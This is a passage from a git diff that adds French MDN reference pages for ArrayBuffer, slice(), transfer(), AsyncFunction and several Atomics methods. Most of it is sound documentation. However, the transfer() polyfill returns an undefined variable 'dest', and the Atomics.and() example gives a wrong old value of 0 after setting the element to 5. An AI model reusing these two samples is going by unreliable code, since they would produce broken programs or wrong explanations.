+ <dd>Définit la fonction qui crée le prototype d'un objet. La valeur initiale correspond au constructeur natif <code>ArrayBuffer</code>.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>La taille du tableau en octets. Cette propriété est déterminée lors de la construction du tableau et ne peut pas être changée. <code>Propriété en lecture seule</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.prototype.slice()")}}</dt>
+ <dd>Renvoie un nouvel <code>ArrayBuffer</code> dont le contenu est une copie des octets contenus dans l'objet <code>ArrayBuffer</code> depuis <code>begin</code> (compris), jusqu'à <code>end</code> (non-compris). Si <code>begin</code> ou <code>end</code> est négatif, cela fait référence à l'indice à partir de la fin du tableau et non à l'indice à partir du début du tableau.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.prototype', 'ArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/slice/index.html
new file mode 100644
index 0000000000..c34eb843d5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/slice/index.html
@@ -0,0 +1,88 @@
+---
+title: ArrayBuffer.prototype.slice()
+slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/slice
+tags:
+  - ArrayBuffer
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>slice()</strong></code> renvoie un nouvel <code>ArrayBuffer</code> dont le contenu est une copie des octets du <code>ArrayBuffer</code> courant, contenus entre <code>début</code> (compris) et <code>fin</code> (non-compris).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-slice.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">arraybuffer.slice(début[, fin])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>début</code></dt>
+ <dd>Indice (numérotation commençant à zéro) de l'octet à partir duquel découper le tableau.</dd>
+</dl>
+
+<dl>
+ <dt><code>fin</code></dt>
+ <dd>Indice de l'octet auquel finir la découpe du tableau. Si ce paramètre n'est pas fourni, le nouvel <code>ArrayBuffer</code> contiendra tous les octets entre <code>début </code>et la fin du <code>ArrayBuffer</code> courant. L'intervalle défini par les valeurs <code>début</code> et <code>fin</code> est réduit à un intervalle valide pour le tableau courant si nécessaire. Si la longueur du nouveau tableau <code>ArrayBuffer</code> sera négative, l'intervalle est réduit à zéro.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>ArrayBuffer</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>slice</code> copie les octets contenus jusqu'au (au sens exclusif) paramètre <code>fin</code>. Si le paramètre <code>début </code>ou  <code>fin</code> est négatif, il fera référence à l'indice à partir de la fin du tableau et non pas à l'indice à partir du début du tableau.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Copier_un_ArrayBuffer">Copier un <code>ArrayBuffer</code></h3>
+
+<pre class="brush: js">var buf1 = new ArrayBuffer(8);
+var buf2 = buf1.slice(0)</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans EMCAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.slice")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/arraybuffer/transfer/index.html b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/transfer/index.html
new file mode 100644
index 0000000000..0d13e6aa38
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/arraybuffer/transfer/index.html
@@ -0,0 +1,100 @@
+---
+title: ArrayBuffer.transfer()
+slug: Web/JavaScript/Reference/Objets_globaux/ArrayBuffer/transfer
+tags:
+  - ArrayBuffer
+  - Experimental
+  - JavaScript
+  - Méthode
+  - Reference
+  - TypedArrays
+  - polyfill
+translation_of: Archive/Web/JavaScript/ArrayBuffer.transfer
+---
+<div>{{JSRef}}{{SeeCompatTable}}</div>
+
+<p>La méthode statique <code><strong>ArrayBuffer.transfer()</strong></code> renvoie un nouvel objet <code>ArrayBuffer</code> dont le contenu a été transféré depuis les données d'<code>ancienBuffer</code> et qui est soit tronqué soit complété avec des zéros pour que la longueur du nouvel objet soit égale à <code>nouvelleLongueur</code>. Si <code>nouvelleLongueur</code> vaut <code>undefined</code>, on utilisera la propriété <code>byteLength</code> de l'<code>ancienBuffer</code>. Cette opération fait que <code>ancienBuffer</code> sera dans un état détaché.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">ArrayBuffer.transfer(ancienBuffer [, nouvelleLongueur]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>ancienBuffer</code></dt>
+ <dd>Un objet {{jsxref("ArrayBuffer")}} à partir duquel on souhaite transférer des données.</dd>
+ <dt><code>nouvelleLongueur</code></dt>
+ <dd>La longueur, exprimée en octets, du nouvel objet <code>ArrayBuffer</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>ArrayBuffer</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>ArrayBuffer.transfer()</code> permet d'agrandir et de détacher des objets <code>ArrayBuffer</code>. Le fait de pouvoir agrandir un <code>ArrayBuffer</code> sans effectuer de copie permet d'être beaucoup plus efficace sur les grands buffers (comme pour <code>realloc</code>). Le fait de pouvoir détacher un <code>ArrayBuffer</code> permet au développeur d'avoir un contrôle explicite sur la mémoire sous-jacente et sa libération. Cela permet d'éviter d'avoir à libérer toutes les références et d'attendre le travail du ramasse-miettes.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var buf1 = new ArrayBuffer(40);
+new Int32Array(buf1)[0] = 42;
+
+var buf2 = ArrayBuffer.transfer(buf1, 80);
+buf1.byteLength; // 0 (attention, avec la prothèse, la valeur sera toujours 40)
+buf2.byteLength; // 80
+new Int32Array(buf2)[0]; // 42
+
+var buf3 = ArrayBuffer.transfer(buf2, 0);
+buf2.byteLength; // 0 (attention, avec la prothèse, la valeur sera toujours 80)
+buf3.byteLength; // 0
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Ce fragment de code permet d'obtenir la plupart des fonctionnalités de <code>transfer()</code> dans un environnement qui ne le prend pas en charge nativement. Attention, cela ne correspond pas exactement à l'API mais permet de transférer des données d'un <code>ArrayBuffer</code> vers un autre.</p>
+
+<pre class="brush: js">if (!ArrayBuffer.transfer) {
+    ArrayBuffer.transfer = function(source, length) {
+        if (!(source instanceof ArrayBuffer))
+            throw new TypeError('Source must be an instance of ArrayBuffer');
+        if (length &lt;= source.byteLength)
+            return source.slice(0, length);
+        var sourceView = new Uint8Array(source),
+            destView = new Uint8Array(new ArrayBuffer(length));
+        destView.set(sourceView);
+        return dest.buffer;
+    };
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://github.com/domenic/proposal-arraybuffer-transfer/#arraybufferprototypetransfer">Proposition pour <code>ArrayBuffer.prototype.transfer</code></a></td>
+   <td>Brouillon</td>
+   <td>Brouillon de niveau 2</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.transfer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typ%C3%A9s">Les tableaux typés en JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/asyncfunction/index.html b/files/fr/web/javascript/reference/objets_globaux/asyncfunction/index.html
new file mode 100644
index 0000000000..831cb4a055
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/asyncfunction/index.html
@@ -0,0 +1,121 @@
+---
+title: AsyncFunction
+slug: Web/JavaScript/Reference/Objets_globaux/AsyncFunction
+tags:
+  - Constructeur
+  - Experimental
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <code><strong>Async</strong></code><strong><code>Function</code></strong> crée un nouvel objet pour {{jsxref("Instructions/async function", "une fonction asynchrone","",1)}}. En JavaScript, chaque fonction asynchrone est en fait un objet <code>AsyncFunction</code>.</p>
+
+<p>Attention, <code>AsyncFunction</code> n'est pas un objet global. On peut l'obtenir grâce au code suivant :</p>
+
+<pre class="brush: js">Object.getPrototypeOf(async function(){}).constructor
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new AsyncFunction ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Les noms des paramètres passés à la fonction. Chacun doit être une chaîne de caractères qui puisse être un identifiant JavaScript valide ou une liste de telles chaînes séparées par une virgule (ex. "<code>x</code>", "<code>laValeur</code>", ou "<code>a,b</code>").</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>Une chaîne de caractères qui contient les instructions JavaScript définissant la définition de la fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets des {{jsxref("Instructions/async_function", "fonctions asynchrones","",1)}} créés avec le constructeur <code>AsyncFunction</code> sont analysés lorsque la fonction est créée. C'est moins efficace que de déclarer une fonction asynchrone avec une {{jsxref("Instructions/async_function", "expression de fonction asynchrone")}} et de l'appeler depuis le code car ces fonctions sont analysées avec le reste du code.</p>
+
+<p>Tous les arguments passés à la fonction sont traités comme les noms des identifiants des paramètres de la fonction qui sera créée, dans l'ordre dans lequel ils sont passés.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les fonctions asynchrones créées avec le constructeur <code>AsyncFunction</code> ne créent pas de fermetutres dans leurs contextes de création. Elles sont toujours créées dans la portée globale. Lorsqu'on les exécute, ellee ne pourront accéder qu'à leurs variables locales et aux variables globales, pas à celles qui appartiennent à la portée dans laquelle <code>AsyncFunction</code> a été appelé. On aurait donc un comportement différent  si on appelait {{jsxref("Objets_globaux/eval", "eval")}} avec le code de l'expression de la fonction asynchrone.</p>
+</div>
+
+<p>Si on appelle <code>AsyncFunction</code> comme une fonction (c'est-à-dire sans <code>new</code>), cela aura le même effet que s'il est appelé comme un constructeur.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.length</strong></code></dt>
+ <dd>La propriété de longueur du constructeur <code>AsyncFunction</code> dont la valeur est 1.</dd>
+ <dt>{{jsxref("AsyncFunction.prototype")}}</dt>
+ <dd>Le prototype permet d'ajouter des propriétés à tous les objets représentant les fonctions asynchrones.</dd>
+</dl>
+
+<h2 id="Prototype_de_l'objet_AsyncFunction">Prototype de l'objet <code>AsyncFunction</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/AsyncFunction/prototype', 'Propriétés')}}</div>
+
+<h2 id="Instances_AsyncFunction">Instances <code>AsyncFunction</code></h2>
+
+<p>Les instances d'<code>AsyncFunction</code> héritent des méthodes et des propriétés de {{jsxref("AsyncFunction.prototype")}}. Comme avec les autres constructeurs, on peut changer l'objet prototype du constructeur afin de modifier l'ensemble des instances <code>AsyncFunction</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Créer_une_fonction_asynchrone_avec_un_constructeur_AsyncFunction">Créer une fonction asynchrone avec un constructeur <code>AsyncFunction</code></h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+var AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
+var a = new AsyncFunction("a",
+                          "b",
+                          "return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);");
+a(10, 20).then(v =&gt; {
+  console.log(v); // affiche 30 après 4 secondes
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale dans ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.AsyncFunction")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Instruction {{jsxref("Instructions/async_function", "async function")}}</li>
+ <li>Expression {{jsxref("Opérateurs/async_function","async function")}}</li>
+ <li>{{jsxref("Objets_globaux/Function", "Function")}}</li>
+ <li>Instruction {{jsxref("Instructions/function", "function")}}</li>
+ <li>Expression {{jsxref("Opérateurs/function", "function")}}</li>
+ <li>{{jsxref("Fonctions", "Fonctions et portées des fonctions", "", 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/asyncfunction/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/asyncfunction/prototype/index.html
new file mode 100644
index 0000000000..7343f73357
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/asyncfunction/prototype/index.html
@@ -0,0 +1,61 @@
+---
+title: AsyncFunction.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/AsyncFunction/prototype
+tags:
+  - Experimental
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>AsyncFunction.prototype</strong></code> représente le prototype de l'objet {{jsxref("AsyncFunction")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets {{jsxref("AsyncFunction")}} héritent de <code>AsyncFunction.prototype</code>. <code>AsyncFunction.prototype</code> ne peut pas être modifiée.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.constructor</strong></code></dt>
+ <dd>La valeur initiale est {{jsxref("AsyncFunction")}}.</dd>
+ <dt><code><strong>AsyncFunction.prototype[@@toStringTag]</strong></code></dt>
+ <dd>Renvoie <code>"AsyncFunction"</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale dans ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.AsyncFunction.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/add/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/add/index.html
new file mode 100644
index 0000000000..2d9bc81ecc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/add/index.html
@@ -0,0 +1,84 @@
+---
+title: Atomics.add()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/add
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> ajoute une valeur donnée à un élément du tableau à une position donnée. Elle renvoie l'ancienne valeur qui était contenue à cet emplacement. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-add.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.add(typedArray, index, valeur)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau <code>typedArray</code> auquel on souhaite ajouter une <code>valeur</code>.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à ajouter.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'ancienne valeur qui était contenue à (<code>typedArray[index]</code>).</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+
+Atomics.add(ta, 0, 12); // renvoie 0, l'ancienne valeur
+Atomics.load(ta, 0);    // 12</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.add', 'Atomics.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.add")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.sub()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/and/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/and/index.html
new file mode 100644
index 0000000000..31fb9d4a53
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/and/index.html
@@ -0,0 +1,130 @@
+---
+title: Atomics.and()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/and
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/and
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.and()</code></strong> calcule un ET binaire avec une valeur donnée, à un emplacement donné du tableau. Elle renvoie l'ancienne valeur qui était contenue à cet emplacement. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-and.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.and(typedArray, index, valeur)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position dans <code>typedArray</code> où calculer le ET binaire.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>Le nombre avec lequel on souhaite calculer le ET binaire.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'ancienne valeur qui était contenue à (<code>typedArray[index]</code>).</p>
+
+<h3 id="Exceptions_levée">Exceptions levée</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>Un ET binaire fournit la valeur 1 uniquement si <code>a</code> et <code>b</code> valent 1. La table de vérité pour l'opération ET est :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th><code>a</code></th>
+   <th><code>b</code></th>
+   <th><code>a &amp; b</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ainsi, si on calcule le ET binaire de 5 et 1 avec l'instruction <code>5 &amp; 1</code>, cela fournira la valeur <code>0001</code>, qui correspond à 1 en notation décimale.</p>
+
+<pre>5  0101
+1  0001
+   ----
+1  0001</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 5;
+
+Atomics.and(ta, 0, 1); // renvoie 0, l'ancienne valeur
+Atomics.load(ta, 0);   // 1
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.and', 'Atomics.and')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.and")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.or()")}}</li>
+ <li>{{jsxref("Atomics.xor()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/compareexchange/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/compareexchange/index.html
new file mode 100644
index 0000000000..bb470fa343
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/compareexchange/index.html
@@ -0,0 +1,87 @@
+---
+title: Atomics.compareExchange()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/compareExchange
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/compareExchange
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.compareExchange()</code></strong> échange une valeur d'un tableau à un emplacement donné si la valeur qui était dans le tableau correspond à une valeur donnée. Cette méthode renvoie l'ancienne valeur à cet emplacement, qu'il y ait eu remplacement ou non. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-compareexchange.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.compareExchange(typedArray, index, valeurAttendue, valeurRemplacement)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
